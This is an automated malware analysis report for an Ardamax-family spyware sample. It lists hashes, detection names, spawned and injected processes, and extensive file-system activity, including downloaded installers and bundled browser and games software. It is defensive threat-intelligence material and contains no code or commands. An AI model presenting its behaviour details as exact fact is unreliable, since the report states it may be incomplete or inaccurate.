SpyTool.Win32.Ardamax_db205e63f2

by malwarelabrobot on September 8th, 2015 in Malware Descriptions.

Trojan-Downloader.Win32.Genome.tucb (Kaspersky), SpyTool.Win32.Ardamax.FD, Trojan.NSIS.StartPage.FD, Trojan.Win32.Swrort.3.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Trojan, SpyTool

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: db205e63f226072be250a9a94dfa3731
SHA1: 2f8b534c2e80100feb0721ce084e1b3de9e578ac
SHA256: 461fffce26e3757cab94c4b3f1a2c9a5966088033ea19324df9ce62fdf5411cb
SSDeep: 6144:Ge34/iec9Ys3cT44CWhU2DK9kr6WDRo7nBkBh 8u9uF4R6NRrXzdNGgMCzN72eOI:yiekG3bxrLo7SBh I4UNth0gL6eOI
Size: 342996 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: Destiny Media
Created at: 2009-12-06 00:50:52
Analyzed on: WindowsXP SP3 32-bit

Summary:

SpyTool. A program used to apply passive protection methods to spyware, such as obfuscation, encryption or polymorphism. The original malicious program is usually encrypted/compressed and stored inside the wrapper.

Payload

No specific payload has been found.

Process activity

The SpyTool creates the following process(es):

nsb27.tmp:1920
nst20.tmp:1040
nsh37.tmp:1376
nss2A.tmp:1600
nss2A.tmp:228
gmsd_re_005010082.exe:436
tasklist.exe:1920
tasklist.exe:1068
setup.exe:268
nsn4.tmp:224
taskkill.exe:484
taskkill.exe:220
wmic.exe:1524
amisid.exe:224
amisid.exe:1228
nsp1D.tmp:1376
%original file name%.exe:1704
nsd3C.tmp:1776
nsd3C.tmp:848
2835.exe:792
encrypt.exe:644
encrypt.exe:1796
encrypt.exe:1900
encrypt.exe:1484
upgmsd_re_005010082.exe:380
nsd33.tmp:432
nskA.tmp:1676
nsc14.tmp:1452

The SpyTool injects its code into the following process(es):

nsc43.tmp:1632
nsy18.tmp:1632
taskkill.exe:1632

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process nsb27.tmp:1920 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nss2B.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss2A.tmp (7288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\Bundle_OperaRUnew[1].exe (7288 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsi29.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss2B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss2B.tmp\inetc.dll (0 bytes)

The process nst20.tmp:1040 makes changes in the file system.
The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse22.tmp (0 bytes)

The process nsh37.tmp:1376 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\checks.txt (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\thankyou[2].php (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\nsisos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\post_reply.htm (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\amisid.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\Registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi3A.tmp (6012 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\checks.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\md5dll.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi39.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\nsisos.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\post_reply.htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\thankyou[1].php (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\amisid.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\dummy.htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\Registry.dll (0 bytes)

The process nsc43.tmp:1632 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn47.tmp (102710 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\xml.dll (2005 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\Math.dll (2489 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\modern-wizard.bmp (26 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[2].exe (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsis142.xml (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\Banner.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bitool.xxx (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsischeck654.xml (3413 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz48.tmp (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\BiTool[1].dll (4152 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn47.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi45.tmp (0 bytes)

The process nss2A.tmp:1600 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\post_reply.htm (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\amisid.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\Registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\checks.txt (544 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn31.tmp (6085 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\nsisos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\thankyou[1].php (14 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\dummy.htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\md5dll.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\post_reply.htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\amisid.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\Registry.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\checks.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx30.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\nsisos.dll (0 bytes)

The process nss2A.tmp:228 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\Registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\checks.txt (544 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2D.tmp (6085 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\amisid.exe (1856 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\amisid.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\Registry.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\checks.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp (0 bytes)

The process gmsd_re_005010082.exe:436 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010082\gmsd_re_005010082\1.20\cnf.cyl (269 bytes)

The process setup.exe:268 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Start Menu\Programs\MyBrowser\MyBrowser.lnk (1 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\cs.pak (223 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\hi.pak (1712 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\es-419.pak (226 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\chrome_elf.dll (125 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\libegl.dll (204 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\sl.pak (211 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\VisualElements\splash-620x300.png (11 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\resources.pak (121304 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\da.pak (206 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\lv.pak (225 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\fa.pak (308 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\sv.pak (207 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\lt.pak (221 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\fi.pak (213 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\pl.pak (220 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\el.pak (1667 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\id.pak (202 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe (5873 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\bg.pak (1640 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\mybrowser.exe (3869 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\delegate_execute.exe (12288 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\chrome_100_percent.pak (7386 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\te.pak (1761 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\en-GB.pak (189 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\sk.pak (229 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\fil.pak (228 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\PepperFlash\pepflashplayer.dll (122658 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\pt-PT.pak (222 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\sr.pak (1610 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\mr.pak (1708 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\it.pak (220 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ko.pak (228 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\chrome_child.dll (261193 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Extensions\external_extensions.json (103 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin (4 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\zh-TW.pak (190 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\zh-CN.pak (187 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\libglesv2.dll (5442 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\master_preferences (814 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\uk.pak (1621 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\chrome.dll (237340 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\nacl_irt_x86_32.nexe (15801 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\et.pak (201 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\he.pak (253 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\icudtl.dat (76792 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\nl.pak (216 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\wow_helper.exe (67 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\th.pak (1702 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\pt-BR.pak (217 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\en-US.pak (189 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\MyBrowser.lnk (1 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\chrome_200_percent.pak (7972 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ja.pak (266 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ml.pak (1826 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\bn.pak (1731 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\tr.pak (220 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\VisualElements\smalllogo.png (9 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\gu.pak (1705 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\hu.pak (235 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\chrmstp.exe (6841 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\VisualElements\logo.png (5 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\secondarytile.png (3 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\de.pak (224 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\sw.pak (208 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\fr.pak (239 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\metro_driver.dll (1765 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\vi.pak (247 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\setup.exe (6841 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ta.pak (1784 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\libexif.dll (303 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\nacl_irt_x86_64.nexe (20507 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\nacl64.exe (12288 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ru.pak (1612 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\VisualElementsManifest.xml (392 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\nb.pak (206 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ms.pak (206 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\am.pak (302 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ar.pak (293 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\es.pak (230 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\chrome.7z (1161171 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\d3dcompiler_46.dll (22433 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\39.5.2171.95.manifest (222 bytes)
%Documents and Settings%\All Users\Desktop\MyBrowser.lnk (1 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\ffmpegsumo.dll (6337 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ca.pak (227 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\hr.pak (214 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ro.pak (228 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\pdf.dll (67091 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\PepperFlash\manifest.json (2 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\kn.pak (1768 bytes)

The SpyTool deletes the following file(s):

%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\mybrowser.exe (0 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp (0 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\wow_helper.exe (0 bytes)
%Program Files%\MyBrowser\MyBrowser (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\prefs (0 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217 (0 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin (0 bytes)

The process nsy18.tmp:1632 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsu1B.tmp (7695 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsf1A.tmp (0 bytes)

The process nsn4.tmp:224 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nskB.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd8.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj7.tmp (7384 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nskA.tmp (8560 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nskC.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqD.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nskB.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd8.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nskC.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqD.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)

The process wmic.exe:1524 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

The process nsp1D.tmp:1376 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\2835.exe (14988 bytes)

The process %original file name%.exe:1704 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb3.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn4.tmp (9771 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd5.tmp (15 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsb3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb3.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd5.tmp (0 bytes)

The process nsd3C.tmp:1776 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-H57RU.tmp\nsd3C.tmp (3779 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-H57RU.tmp\nsd3C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-H57RU.tmp (0 bytes)

The process nsd3C.tmp:848 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Start Menu\Programs\GAMESDESKTOP\GamesDesktop.lnk (812 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\is-73DD7.tmp (8657 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\is-QHO3I.tmp (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\is-F8943.tmp (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\encrypt.exe (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\_isetup\_shfoldr.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010082\upgmsd_re_005010082.exe (23062 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\is-FI91J.tmp (15278 bytes)
%Program Files%\gmsd_re_005010082\unins000.msg (375 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\itdownload.dll (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\upgmsd_re_005010082.7z (7433 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\CheckProc.cmd (288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\predm.7z (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gmsd_re_005010082.7z (8657 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\ex.bat (1564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\is-OHVJR.tmp (7433 bytes)
%Program Files%\gmsd_re_005010082\unins000.dat (29081 bytes)
%Program Files%\gmsd_re_005010082\gmsd_re_005010082.exe (29430 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gamesdesktop_widget.7z (15278 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp (4 bytes)
%Program Files%\gmsd_re_005010082\is-SLOUM.tmp (22284 bytes)
%Program Files%\gmsd_re_005010082\predm.exe (2321 bytes)
